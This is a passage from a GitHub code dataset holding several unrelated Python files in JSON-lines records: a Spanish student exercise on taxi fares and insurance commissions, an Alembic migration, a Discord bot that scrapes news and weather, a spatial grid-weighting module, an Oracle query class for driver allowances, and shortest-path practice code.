trayecto. \nSe prestarán dos servicios al día, uno de ida y el otro de regreso.\nSin embargo, los seis no se movilizan juntos todos los dias. Por tanto, han planteado que la tarifa\ndebe dividirse entre el numero de compañeros que se movilicen en cada trayecto.En caso, de que ninguno\nutilice el servicio. Deben pagar al taxista una tarifa de $10000, repartidos equitativamente entre todos.\nA continueación veamos el uso del servicio por parte de los compañeros en la última semana de clases:\n IDA | REGRESO\n LUNES MARTES MIERCOLES JUEVES VIERNES | LUNES MARTES MIERCOLES JUEVES VIERNES\nJUAN Si Si Si Si No | Si Si Si No No\nCAMILA Si No Si No Si | Si No No No No\nJOSE Si No Si Si No | Si No Si Si No\nMARIA Si Si Si No No | No No Si No No\nESTEBAN Si No No Si Si | No No No Si No\nANGIE Si No Si No No | Si No Si No No\n¿Cuanto debe pagar cada estudiante? \nAlmacene el resultado dentro de un diccionario llamado \"diccionarioPagos\"\nlas claves deben ser los nombres de los estudiantes (en strings)\ny los valores deben ser el dinero total que pagó cada uno al terminar la semana (en flotantes)\n\"\"\"\n\nprint(\"\\n----- EJERCICIO 4 -----\")\n\n\"Precio del taxi\"\nPay=15000\n\n# Calcula el precio del taxi por su uso\n\"Ida\"\nMon_Ida= Pay/6\nTue_Ida= Pay/2\nWed_Ida= Pay/5\nThu_Ida= Pay/3\nFri_Ida= Pay/2\n\"Regreso\"\nMon_Back= Pay/4\nTue_Back= Pay\nWed_Back= Pay/4\nThu_Back= Pay/2\nFri_Back= 10000/6\n\n# 1. A cada uno le calculamos lo que pagaron en la semana.\nJuan = Mon_Ida + Mon_Back + Tue_Ida + Tue_Back + Wed_Ida + Wed_Back + Thu_Ida + Fri_Back\nCamila = Mon_Ida + Mon_Back + Wed_Ida + Fri_Ida + Fri_Back\nJose = Mon_Ida + Mon_Back + Wed_Ida + Wed_Back + Thu_Ida + Thu_Back + Fri_Back\nMaria = Mon_Ida + Tue_Ida + Wed_Ida + Wed_Back + Fri_Back\nEsteban = Mon_Ida + Thu_Ida + Thu_Back + Fri_Ida + Fri_Back\nAngie = Mon_Ida + Mon_Back + Wed_Ida + Wed_Back + Fri_Back\n\n# 2. Pago semanal en el diccionario pedido\ndiccionarioPagos={\"Angie\": Angie, \"Camila\": Camila, \"Esteban\": Esteban, \"Jose\": Jose, \"Juan\": Juan, \"Maria\": Maria}\nprint(diccionarioPagos)\n\n\n#------------------------ EJERCICIO 5 --------------------------------\n\n\"\"\" El salario mensual de un empleado se calcula solo teniendo en cuenta el numero de seguros vendidos,\n (el precio de cada seguro es de $120000)\n Para los primeros 20 seguros vendidos, la comisión es del 20%.\n Para los siguientes 100 seguros las comisión es del 30%.\n Para los siguientes seguros vendidos. La comisión es de 10%.\n El salario de 4 empleados es el siguiente:\n Empleado empleado1 empleado2 empleado3 empleado4\n Salario $ 7860000 $ 5520000 $ 3720000 $ 2280000\n Determine el numero de seguros vendidos por cada empleado.\n Almacene su respuesta en una lista llamada cantidadSegurosVendidos como muestra el ejemplo:\n cantidadSegurosVendidos = [10, 50, 80, 32]\n \"\"\"\n\nprint(\"\\n----- EJERCICIO 5 -----\")\n\n#Salario de los empleados\nempleado_1=7860000\nempleado_2=5520000\nempleado_3=3720000\nempleado_4=2280000\n\nSeg1=20*120000 # salario que se gana por vender 20 seguros\nSeg2=100*120000 # salario que se gana por vender otros 100 seguros\n\ncomi1=Seg1*0.20\ncomi2=Seg2*0.30\n\n# Si la condicion se cumple se da por seguro que vendio mas de 120 seguros y solo hay que hallar la cantidad de seguros restantes\n\n# Para el empleado 1\nif empleado_1 > (comi1 + comi2):\n empleado_1= empleado_1 - (comi1 + comi2)\n Seg_V1= 20 + 100 + (empleado_1/(0.10*120_000)) # Si el N° de seguros vendidos > 120\nelif (empleado_1 > comi1) and (empleado_1 <= comi1 + comi2): # Si no se asegura que vendio > 20\n empleado_1= empleado_1 - comi1\n Seg_V1= 20 + (empleado_1/(0.3*120000)) # N° de seguros vendidos <= 120 y > 20\nelse:\n Seg_V1= empleado_1/(0.2*120000) # N° de seguros vendidos < 20\n\n# Para el empleado 2\nif empleado_2 > (comi1+comi2):\n empleado_2= empleado_2 -(comi1 + comi2)\n Seg_V2=20+100+(empleado_2/(0.10*120_000)) \nelif (empleado_2 > comi1) and (empleado_2 <= comi1 + comi2): \n empleado_2= empleado_2 - comi1\n Seg_V2=20+(empleado_2/(0.3*120_000)) \nelse:\n Seg_V2= empleado_2/(0.2*120_000) \n\n# Para el empleado 3\nif empleado_3 > (comi1+comi2):\n empleado_3= empleado_3 - (comi1+comi2)\n Seg_V3= 20 + 100 + (empleado_3/(0.10*120_000)) \nelif (empleado_3 > comi1) and (empleado_3 <= comi1 + comi2): \n empleado_3= empleado_3 - comi1\n Seg_V3= 20 + (empleado_3/(0.3*120_000)) \nelse:\n Seg_V3= empleado_3/(0.2*120_000) \n\n# Para el empleado 4\nif empleado_4 > (comi1 + comi2):\n empleado_4= empleado_4-(comi1 + comi2)\n Seg_V4=20 + 100 + (empleado_4/(0.10*120_000)) \nelif (empleado_4 > comi1) and (empleado_4 <= comi1 + comi2): \n empleado_4= empleado_4 - comi1\n Seg_V4= 20 + (empleado_4/(0.3*120_000)) \nelse:\n Seg_V4= empleado_4/(0.2*120_000) \n\n# Un paso intermedio para asegurar que la cantidad de seguros sea entera\nSeg_V1= int(Seg_V1)\nSeg_V2= int(Seg_V2)\nSeg_V3= int(Seg_V3)\nSeg_V4= int(Seg_V4)\n\n# 1. Se guarda en una lista la cantidad de seguros vendidos por los empleados\ncantidadSegurosVendidos=[Seg_V1,Seg_V2,Seg_V3,Seg_V4]\nprint(\"Cantidad de seguros vendidos: [empleado 1, empleado 2, empleado 3, Empleado 4]\")\nprint(cantidadSegurosVendidos)\n\n\"Finish\"","repo_name":"gitCarlos09/Informatica_2","sub_path":"INFORMES/INFORME1/ejercicios1.py","file_name":"ejercicios1.py","file_ext":"py","file_size_in_byte":21639,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42776189827","text":"\"\"\"empty message\n\nRevision ID: 84a89fe0b190\nRevises: 2f006dc658c5\nCreate Date: 2019-09-16 17:17:58.659496\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '84a89fe0b190'\ndown_revision = '2f006dc658c5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('ticket', sa.Column('order_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'ticket', 'orders', ['order_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'ticket', type_='foreignkey')\n op.drop_column('ticket', 'order_id')\n # ### end Alembic commands ###\n","repo_name":"mq-5/ticketbox","sub_path":"migrations/versions/84a89fe0b190_.py","file_name":"84a89fe0b190_.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19482793875","text":"from dtos import UserDto, ProductDto\n\n\nclass OrderDto:\n def __init__(self, model: dict):\n self.id = str(model['_id'])\n self.user = UserDto(model['user']).get_dict()\n self.address = model['address']\n self.status = model['status']\n self.date = model['date']\n self.products = [{'product': ProductDto(i['product']).get_dict(), 'count': i['count']} for i in model['products']]\n\n def get_dict(self):\n return self.__dict__\n","repo_name":"iHelops/sabina-server","sub_path":"dtos/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"71017693548","text":"#!/usr/bin/env python3\nimport torch\nfrom cyy_torch_toolbox.default_config import DefaultConfig\n\nfrom cyy_torch_algorithm.quantization.qat import QuantizationAwareTraining\n\n\ndef test_training():\n return\n trainer = DefaultConfig(\"CIFAR10\", \"densenet40\").create_trainer()\n trainer.hyper_parameter.set_epoch(1)\n trainer.hyper_parameter.set_learning_rate(0.01)\n qat = QuantizationAwareTraining()\n trainer.append_hook(qat)\n trainer.train()\n","repo_name":"cyyever/torch_algorithm","sub_path":"cyy_torch_algorithm/test/quantization/test_qat.py","file_name":"test_qat.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37290209213","text":"import discord\nimport random\nimport aiohttp\nimport bs4\nimport requests\nimport csv\nimport os.path\nimport pyowm\nfrom discord.ext import commands\n\n\ndescription = '''There are a number of utility commands being showcased here.'''\neolas = commands.Bot(command_prefix='?', description=description)\n\nhello_list = ['Yo', 'yo', 'Hey', 'hey', 'Salut', 'salut', 'Bonjour', 'bonjour']\nfoot_list = ['Neymar', 'neymar','Cavani', 'cavani', 'PSG', 'psg',\n 'Zidane', 'zidane', 'Real', 'real', 'Madrid', 'madrid'\n 'Barca', 'barca', 'OM', 'Deschamps', 'deschamps', 'Blaise',\n 'blaise']\n\n\n@eolas.event\nasync def on_member_join(member):\n server = member.server\n fmt = 'Bienvenue {0.mention} chez {1.name} !'\n await eolas.send_message(server, fmt.format(member, server))\n\n\n@eolas.event\nasync def on_ready():\n print('Logged in as')\n print(eolas.user.name)\n print(eolas.user.id)\n print('------')\n\n\n@eolas.event\nasync def on_message(message):\n if message.content in hello_list:\n await eolas.send_message(message.channel, \"Salut !\")\n if any(i in message.content for i in foot_list):\n await eolas.send_message(message.channel, 'https://media.giphy.com/media/hBO3iUfEtI2s0/giphy.gif')\n await eolas.send_message(message.channel, \"Non, pas de ça ici, s'il-vous-plaît.\")\n await eolas.process_commands(message)\n\n\n# ?news - Scrape a specific block on lemonde.fr and return the news from it.\n@eolas.command()\nasync def news():\n source = requests.get('http://www.lemonde.fr/').text\n soup = bs4.BeautifulSoup(source, 'lxml')\n bloc = soup.find('ul', class_='liste_horaire')\n for news_lm in bloc.find_all('li'):\n\n hours = news_lm.span.text\n print(hours)\n\n try:\n titles = news_lm.find('a').text\n except Exception as e:\n titles = None\n\n print(titles)\n\n try:\n links = news_lm.find('a')['href']\n lm_link = f'https://www.lemonde.fr/{links}'\n except Exception as e:\n lm_link = None\n\n print(lm_link)\n print()\n\n if lm_link is not None:\n await eolas.say(hours + \"\\n\" + lm_link)\n else:\n pass\n\n filename = 'PATH.csv'\n fileEmpty = os.stat(filename).st_size == 0\n\n with open(filename, 'a') as csv_file:\n headers = ['Hours', 'Titles', 'Links']\n\n csv_writer = csv.DictWriter(csv_file, fieldnames=headers,\n delimiter='\\t')\n if fileEmpty:\n csv_writer.writeheader() # file doesn't exist, write header\n csv_writer.writerow(\n {'Hours': hours, 'Titles': titles, 'Links': lm_link})\n\n csv_file.close() \n\n\n# ?facts - Scrape unkno.com and return the fact from it.\n@eolas.command()\nasync def facts():\n source = requests.get('http://unkno.com/').text\n soup = bs4.BeautifulSoup(source, 'lxml')\n # facts = soup.find('section', class_='body')\n fact = soup.find('div', id='content')\n print(fact.text)\n await eolas.say('Here is your fact: ' + '\\n' + fact.text) \n\n \n@eolas.command()\nasync def add(left: int, right: int):\n \"\"\"Adds two numbers together.\"\"\"\n await eolas.say(left + right)\n\n\n@eolas.command()\nasync def roll(dice: str):\n \"\"\"Rolls a dice in NdN format.\"\"\"\n try:\n rolls, limit = map(int, dice.split('d'))\n except Exception:\n await eolas.say('Format has to be in NdN!')\n return\n\n result = ', '.join(str(random.randint(1, limit)) for r in range(rolls))\n await eolas.say(result)\n\n\n@eolas.command(description='For when you wanna settle the score some other way')\nasync def choose(*choices: str):\n \"\"\"Chooses between multiple choices.\"\"\"\n await eolas.say(random.choice(choices))\n\n\n@eolas.command()\nasync def repeat(times : int, content='repeating...'):\n \"\"\"Repeats a message multiple times.\"\"\"\n for i in range(times):\n await eolas.say(content)\n\n\n@eolas.command()\nasync def joined(member : discord.Member):\n \"\"\"Says when a member joined.\"\"\"\n await eolas.say('{0.name} joined in {0.joined_at}'.format(member))\n\n\n@eolas.group(pass_context=True)\nasync def cool(ctx):\n \"\"\"Says if a user is cool.\n In reality this just checks if a subcommand is being invoked.\n \"\"\"\n if ctx.invoked_subcommand is None:\n await eolas.say('No, {0.subcommand_passed} is not cool'.format(ctx))\n\n\n# ?chess - Print a link of a randomly selected puzzle from Lichess.org\n@eolas.command()\nasync def chess():\n random_number = random.sample(range(1, 125000), 1)\n random_ID = (\"\".join(map(str, random_number)))\n puzzle_link = f'https://lichess.org/training/{(\"\".join(map(str, random_number)))}'\n print('Lichess Puzzle ID:' + '\\n' + random_ID + '\\n')\n await eolas.say('Lichess Puzzle:' + '\\n' + puzzle_link)\n\n\n# ?meteo <location> - Print the forecast of a specific location.\n@eolas.command()\nasync def meteo(*, name):\n owm = pyowm.OWM('OWM_API_KEY', language='fr')\n\n observation = owm.weather_at_place(name)\n weather = observation.get_weather()\n location = observation.get_location()\n get_temperature = weather.get_temperature(unit='celsius')\n get_wind = weather.get_wind()\n\n await eolas.say('Lieu: {}'.format(location.get_name()))\n await eolas.say('Température: {}'.format(get_temperature['temp']) + u'\\N{DEGREE SIGN}C')\n await eolas.say('Vitesse du vent: {}'.format(get_wind['speed']) + ' m/s')\n await eolas.say('Description: {}'.format(weather.get_detailed_status()))\n\n\n# ?cavani - Print a random gif of Cavani.\n@eolas.command()\nasync def cavani():\n cavani_gifs = [\n \"https://media.giphy.com/media/3oKGzl8zDsyKif2xdS/giphy.gif\",\n \"https://media.giphy.com/media/3oKGzi31QTqbppVOjS/giphy.gif\",\n \"https://media.giphy.com/media/l4FsydT8HX6EWau9a/giphy.gif\",\n \"https://media.giphy.com/media/AAvqQob2BUFCo/giphy.gif\",\n \"https://media.giphy.com/media/l1J3Qcd7OmaqfnXQ4/giphy.gif\"]\n\n rand_gif = random.choice(cavani_gifs)\n\n await eolas.say(rand_gif)\n \n \neolas.run('BOT_TOKEN')\n","repo_name":"Mataz/Eolas-Bot","sub_path":"old_mono_file/eolas_bot.py","file_name":"eolas_bot.py","file_ext":"py","file_size_in_byte":6076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31750512139","text":"from numpy import *\r\n\r\n\r\nclass Grid:\r\n\tdef __init__(self, x_min, y_min, dx, dy, l1, l2):\r\n\t\tself.x_min = x_min\r\n\t\tself.y_min = y_min\r\n\t\tself.dx = dx\r\n\t\tself.dy = dy\r\n\t\tself.l1 = l1\r\n\t\tself.l2 = l2\r\n\t\tself.J = 0\r\n\t\tself.data1 = []\r\n\t\tself.data2 = []\r\n\t\tself.x_cell = zeros( (dx+1), dtype = float)\r\n\t\tself.y_cell = zeros( (dy+1), dtype = float)\r\n\t\tfor i in xrange(dx+1):\r\n\t\t\tself.x_cell[i] = self.x_min+l1*i\r\n\t\tfor i in xrange(dy+1):\r\n\t\t\tself.y_cell[i] = self.y_min+l2*i\r\n\t\r\n\tdef get_center_point(self):\r\n\t\tx_centr = (self.x_cell[self.dx]+self.x_min)/2\r\n\t\ty_centr = (self.y_cell[self.dy]+self.y_min)/2\r\n\t\treturn x_centr,y_centr\r\n\t\t\r\n\tdef get_center_points(self):\r\n\t\tself.x_center = zeros( (self.dx), dtype = float)\r\n\t\tself.y_center = zeros( (self.dy), dtype = float)\r\n\t\tself.x_center[0] = self.x_min+self.l1/2\r\n\t\tself.y_center[0] = self.y_min+self.l2/2\r\n\t\tfor i in xrange(self.dx):\r\n\t\t\tself.x_center[i] = self.x_center[0]+self.l1*i\r\n\t\tfor i in xrange(self.dy):\r\n\t\t\tself.y_center[i] = self.y_center[0]+self.l2*i\r\n\t\r\n\tdef get_center_num(self,n):\r\n\t\tfor j in xrange(self.dy):\r\n\t\t\tfor i in xrange(self.dx):\r\n\t\t\t\ts = self.get_cell_num(self.x_center[i], self.y_center[j])\r\n\t\t\t\tif (s == n):\r\n\t\t\t\t\t#print self.x_center[i], self.y_center[j]\r\n\t\t\t\t\treturn self.x_center[i], self.y_center[j]\r\n\t\t\t\t\tbreak\r\n\t\r\n\tdef add_point(self, x, y):\r\n\t\tself.data1.append(x)\r\n\t\tself.data2.append(y)\r\n\t\tself.get_j(x, y)\r\n\t\r\n\tdef get_cell_num(self, x, y):\r\n\t\ti_x = 0\r\n\t\ti_y = 0\r\n\t\tN = 0\r\n\t\tfor i in xrange(self.dx):\r\n\t\t\tif (x>self.x_cell[i]):\r\n\t\t\t\ti_x = i\r\n\t\tfor i in xrange(self.dy):\r\n\t\t\tif (y>self.y_cell[i]):\r\n\t\t\t\ti_y = i\r\n\t\tN = i_y*self.dx + i_x\r\n\t\treturn N\r\n\t\r\n\tdef get_point_num(self, n):\r\n\t\tN = 0\r\n\t\tfor i in xrange(len(self.data1)):\r\n\t\t\ts = self.get_cell_num(self.data1[i], self.data2[i])\r\n\t\t\tif (s == n):\r\n\t\t\t\tN = N + 1\r\n\t\treturn N\r\n\t\r\n\tdef get_j(self, x, y):\r\n\t\tn_1 = self.get_cell_num(x,y)\r\n\t\tn = self.get_point_num(n_1)\r\n\t\tif (n == 1):\r\n\t\t\tself.J = self.J + 1\r\n\r\n\tdef get_weights_cell(self):\r\n\t\tw = zeros( (len(self.data1)), dtype = float)\r\n\t\tn = 0\r\n\t\tn_1 = 0\r\n\t\t#print \"J =\", self.J\r\n\t\tfor i in xrange(len(self.data1)):\r\n\t\t\tn_1 = self.get_cell_num(self.data1[i],self.data2[i])\r\n\t\t\tn = self.get_point_num(n_1)\r\n\t\t\tw[i] = 1./(n*self.J)\r\n\t\treturn w\r\n\t\r\n\tdef calc_e_h(self, x_center, y_center, c):\r\n\t\te_h = 0.0\r\n\t\tfor i in xrange(len(self.data1)):\r\n\t\t\te_h = e_h + (sqrt((x_center-self.data1[i])**2+(y_center-self.data2[i])**2))**(-c)\r\n\t\treturn e_h\r\n\t\r\n\tdef calc_h(self, x_center, y_center, j, c):\r\n\t\th = (sqrt((x_center-self.data1[j])**2+(y_center-self.data2[j])**2))**(-c)\r\n\t\treturn h\r\n\t\r\n\tdef calc_hgt(self, x1, y1, x2, y2):\r\n\t\th = sqrt((x2-x1)**2 + (y2-y1)**2)\r\n\t\treturn h\r\n\t\r\n\tdef hgt_calc(self, x0, y0, n_p):\r\n\t\th = zeros( (len(self.data1)), dtype = float)\r\n\t\tj = 0\r\n\t\tfor i in xrange(len(self.data1)):\r\n\t\t\th[j] = self.calc_hgt(x0, y0, self.data1[i], self.data2[i])\r\n\t\t\tj = j+1\r\n\t\th = argsort(h)\r\n\t\th_n = []\r\n\t\tfor i in xrange(n_p):\r\n\t\t\th_n.append(h[i+1])\r\n\t\th_n.sort()\r\n\t\treturn h_n\r\n\t\r\n\tdef get_weights_idw(self, x_center, y_center, c):\r\n\t\tw1 = zeros( (len(self.data1)), dtype = float)\r\n\t\te_h = self.calc_e_h(x_center, y_center, c)\r\n\t\tfor i in xrange(len(self.data1)):\r\n\t\t\th = self.calc_h(x_center, y_center, i, c)\r\n\t\t\tw1[i] = h/e_h\r\n\t\treturn w1\r\n\t\r\n\tdef get_segment_x_middle(self, x1, x2):\r\n\t\tx = 0.0\r\n\t\tx = (x1 + x2)/2\r\n\t\treturn x\r\n\t\r\n\tdef get_segment_y_middle(self, y1, y2):\r\n\t\ty = 0.0\r\n\t\ty = (y1 + y2)/2\r\n\t\treturn y\r\n\t\r\ndef get_rect(array_x, array_y):\r\n\tmin_max = zeros( (4), dtype = float)\r\n\tmin_max[0] = min(array_x) #x(min)\r\n\tmin_max[1] = min(array_y) #y(min)\r\n\tmin_max[2] = max(array_x) #x(max)\r\n\tmin_max[3] = max(array_y) #y(max)\r\n\t\r\n\tfor i in xrange(2):\r\n\t\tmin_max[i] = min_max[i] - 10\r\n\t\tmin_max[i+2] = min_max[i+2] + 10\r\n\t\r\n\t#print min_max\r\n\t\r\n\t# if ((min_max[2]-min_max[0])>(min_max[3]-min_max[1])):\r\n\t\t# min_max[3] = min_max[2] - min_max[0] + min_max[1]\r\n\t# elif ((min_max[2]-min_max[0])<(min_max[3]-min_max[1])):\r\n\t\t# min_max[2] = min_max[3] - min_max[1] + min_max[0]\r\n\treturn min_max\r\n\t\r\n\t\r\ndef stand_weight(w, n):\r\n\tsum = 0.0\r\n\tfor i in xrange(len(w)):\r\n\t\tsum = sum + w[i]\r\n\tfor i in xrange(len(w)):\r\n\t\tw[i] = (w[i]*n)/sum\r\n\treturn w\r\n# n- kol-vo izvestnih tochek\r\n\r\n\r\ndef s_polygon(x, y):\r\n\ts = 0.0\r\n\tn = len(x)\r\n\tfor i in xrange(n):\r\n\t\tif (i == 0):\r\n\t\t\ts = s + x[i]*(y[n-1] - y[i+1])\r\n\t\telif (i == n-1):\r\n\t\t\ts = s + x[i]*(y[i-1] - y[0])\r\n\t\telse:\r\n\t\t\ts = s + x[i]*(y[i-1] - y[i+1])\r\n\ts = 0.5 * abs(s)\r\n\treturn s\r\n\r\n\t\r\ndef s_polygon_1(x, y):\r\n\ts = 0.0\r\n\tn = len(x)\r\n\tfor i in xrange(n):\r\n\t\tif (i == n-1):\r\n\t\t\ts = s + (x[i]*y[0])-(y[i]*x[0])\r\n\t\telse:\r\n\t\t\ts = s + (x[i]*y[i+1])-(y[i]*x[i+1])\r\n\ts = 0.5 * abs(s)\r\n\treturn s\r\n\t\r\n","repo_name":"hpgl/hpgl","sub_path":"src/sample-scripts/solved_problems/shared/decl_grid.py","file_name":"decl_grid.py","file_ext":"py","file_size_in_byte":4626,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"37"} +{"seq_id":"6515382635","text":"import cx_Oracle\nimport json\nimport collections\nfrom .readConf import ReadConf\nfrom .login_Postgres import Login_Postgres\n\n\nclass QryAllowanceByEmp:\n def __init__(self):\n pass\n\n def get_data(self, user, password, begin_date, end_date, emp_no):\n ora = ReadConf().ora()\n login = Login_Postgres(user=user, password=password)\n is_login = json.loads(login.login().decode('utf-8'))\n if is_login['login'] == 'True' and ('|csdplan|hrconnect|hr|'.find(user) > 0):\n conn = None\n data = {}\n mmyyyy = end_date[3:]\n try:\n dsn_tns = cx_Oracle.makedsn(ora['server'], ora['port'], ora['service'])\n conn = cx_Oracle.connect(ora['user'], ora['password'], dsn_tns\n , encoding=\"UTF-8\")\n conn.autocommit = False\n cursor = conn.cursor()\n cursor2 = conn.cursor()\n cursor3 = conn.cursor()\n params = {'begin_date': begin_date, 'end_date': end_date}\n cursor.callproc('tonkm_package.QRY_ALLOWANCE_BY_EMP', [emp_no, mmyyyy])\n qryFuelUsed = ReadConf().qryFuelUsed()['Query']\n cursor.execute(qryFuelUsed, params)\n row = cursor.fetchone()\n ngvUsed = row[0]\n dieselUsed = row[1]\n qryStr = ReadConf().qryAllowanceByEmp1()['Query']\n cursor.execute(qryStr, params)\n data = collections.OrderedDict()\n dn = []\n t = collections.OrderedDict()\n for row in cursor:\n t = collections.OrderedDict()\n t['EMP_NO'] = row[0]\n t['WORK_DATE'] = begin_date + ' - ' + end_date\n t['DRIVER'] = row[1]\n t['TEL'] = row[2]\n t['NATIONAL_NO'] = row[3]\n t['TOTAL_DN'] = row[4]\n t['KM_ADJ_LOAD'] = row[5]\n t['KM_ADJ_NOLOAD'] = row[6]\n t['TON_KM_AMT'] = row[7]\n t['FUEL_NGV'] = row[8]\n t['FUEL_DIESEL'] = row[9]\n t['NGV_USED'] = ngvUsed\n t['DIESEL_USED'] = dieselUsed\n t['MULTIDROP'] = row[10]\n t['DIFFICULTY'] = row[11]\n data['TOTAL'] = t\n \"\"\" -------------Loop 2 summary By DN ------------------------ \"\"\"\n qryStr2 = ReadConf().qryAllowanceByEmp2()['Query']\n cursor2.execute(qryStr2, params)\n adj_distance = '-'\n for row2 in cursor2:\n t2 = collections.OrderedDict()\n t2['DN_NO'] = row2[0]\n t2['DN_DATE'] = row2[1]\n t2['TRUCK_NO'] = row2[2]\n t2['ENGINE_TYPE'] = row2[3]\n t2['DESTINATION'] = row2[4]\n t2['TON_KM_AMT'] = row2[5]\n t2['FUEL_NGV'] = row2[6]\n t2['FUEL_DIESEL'] = row2[7]\n t2['FUEL_USED'] = row2[10]\n t2['MULTIDROP'] = row2[8]\n t2['DIFFICULTY'] = row2[9]\n \"\"\"--------------Loop 3 แสดง DN detail ------------\"\"\"\n qryStr3 = ReadConf().qryAllowanceByEmp3()['Query']\n qryStr3 = qryStr3.replace('{{dn_no}}', row2[0])\n cursor3.execute(qryStr3, params)\n dn_detail = []\n for row3 in cursor3:\n t3 = collections.OrderedDict()\n t3['DN_ORDER'] = row3[0]\n t3['PRODUCT'] = row3[1]\n t3['START_PLACE'] = row3[2]\n t3['TO_PLACE'] = row3[3]\n t3['WEIGHT'] = row3[4]\n t3['KM_ADJ'] = row3[5]\n t3['TON_KM_AMT'] = row3[6]\n t3['FUEL_QUAN'] = row3[7]\n t3['FUEL_UNIT'] = row3[8]\n t3['MULTIDROP'] = row3[9]\n t3['DIFFICULTY'] = row3[10]\n t3['TRANS_REMARK'] = row3[11]\n t3['REMARK'] = row3[12]\n t3['ADJ_DISTANCE'] = row3[13]\n if row3[13] == 'adj_distance':\n adj_distance='รอปรับปรุงระยะทาง'\n dn_detail.append(t3)\n t2['ADJ_DISTANCE'] = adj_distance\n t2['ROUTE'] = dn_detail\n dn.append(t2)\n data['DN'] = dn\n cursor.close()\n cursor2.close()\n cursor3.close()\n return json.dumps(data, indent=\" \", ensure_ascii=False).encode('utf-8')\n except cx_Oracle.DatabaseError as e:\n # print(e.args[0].message)\n data['driver'] = e.args[0].message\n data['truck_no'] = 'ไม่พบข้อมูล'\n data['dn_chain'] = 'ไม่พบข้อมูล'\n data['source_point'] = 'ไม่พบข้อมูล'\n data['receiver'] = 'ไม่พบข้อมูล'\n data['ton_km'] = 0\n data['fuel_quan'] = 0\n return json.dumps(data, indent=\" \", ensure_ascii=False).encode('utf-8')\n finally:\n if conn is not None:\n conn.commit()\n conn.close()\n else:\n return json.dumps({'login': 'สิทธิการเข้าถึงข้อมูลถูกจำกัด'}).encode('utf-8')\n\n","repo_name":"sivaroj/svl-api-falcon-freeze","sub_path":"appPackage/QryAllowanceByEmp.py","file_name":"QryAllowanceByEmp.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36314422531","text":"# -----------------------------------------------------------------------------------------------------------------------\n\n# Dijkstra's algorithm:\n# # O(m+n**2)\n# Doesnot work if -ve weights are present\n# -----------------------------------------------------------------------------------------------------------------------\n\n\nclass Graph:\n def __init__(self,num_nodes, edges, weighted=False):\n self.num_nodes = num_nodes\n self.weighted = weighted\n self.data = [[] for _ in range(self.num_nodes)]\n\n for edge in edges:\n n1, n2, w = edge\n self.data[n1].append((n2, w))\n self.data[n2].append((n1, w))\n\n def __repr__(self):\n result = \"\"\n\n for i, v in enumerate(self.data):\n result += f\"{i} -> {v}\"\n\n return result\n\n def __str__(self):\n return self.__repr__()\n\n\n def update_distance(self, distance, current, parent):\n neighbours = self.data[current]\n\n for edge, weight in neighbours:\n if distance[current] + weight < distance[edge]:\n distance[edge] = distance[current] + weight\n parent[edge] = current\n\n\n def pick_next_node(self, visited, distance):\n min_dist = float('inf')\n min_node = None\n\n for i in range(len(distance)):\n if not visited[i] and distance[i] < min_dist:\n min_node = i\n min_dist = distance[i]\n\n return min_node\n\n \n def shortest_path(self, start, target):\n visited = [False] * self.num_nodes\n distance = [float('inf')] * self.num_nodes\n parent = [None] * self.num_nodes\n\n queue = []\n queue.append(start)\n distance[start] = 0\n visited[start] = True\n idx = 0\n\n while idx < len(queue):\n current = queue[idx]\n visited[current] = True\n idx += 1\n\n self.update_distance( distance, current, parent)\n\n next_node = self.pick_next_node(visited, distance)\n if next_node:\n queue.append(next_node)\n\n return distance[target], parent \n\n\n# num_nodes7 = 6\n# edges7 = [(0, 1, 4), (0, 2, 2), (1, 2, 5), (1, 3, 10), (2, 4, 3), (4, 3, 4), (3, 5, 11)]\n\n\n# graph7 = Graph(num_nodes7, edges7,weighted=True)\n# print(graph7)\n\n# print(graph7.shortest_path( 0, 5))\n\n\n# -----------------------------------------------------------------------------------------------------------------------\n\n# Bellman Ford's algorithm:\n# # O(EV)\n# works with -ve weights \n# -----------------------------------------------------------------------------------------------------------------------\n\n\ndef bellman_ford(edges, num_nodes, start):\n distance = [float('inf')] * num_nodes\n distance[start] = 0\n\n for i in range(num_nodes):\n for u,v,w in edges:\n if distance[v] > distance[u] + w:\n distance[v] = distance[u] + w\n\n for u,v,w in edges:\n if distance[v] > distance[u] + w:\n return False, distance\n\n return True, distance\n\n\nnum_nodes6 = 5\nedges6 = [(0, 1, 4), (0, 2, 2), (1, 3, 2), (1, 4, 3), (1, 2, 3), (2, 1, 1), (2, 4, 5), (2, 3, 4), (4, 3, -5)]\n\n\n# graph7 = Graph(num_nodes7, edges7, directed = True, weighted=True)\n# print(graph7)\n\nprint(bellman_ford(edges6, num_nodes6, 0))","repo_name":"akashkumarbtc/Data-Structures-and-Algo","sub_path":"graphs/practise.py","file_name":"practise.py","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37420563921","text":"from PyQt6.QtWidgets import QWidget, QHBoxLayout\nfrom PyQt6.QtCore import Qt\n\nfrom view.values.EditWidgets import EditFloatSpinBox\n\nfrom msg.Messages import MsgOnLogicDataEdited\nfrom msg.MessageSystem import SendMessage\n\nclass EditFloatValue(QWidget):\n def __init__(self, value):\n super().__init__()\n\n self._val = value\n\n self._rootLayout = QHBoxLayout()\n\n self._floatSpinBox = EditFloatSpinBox()\n 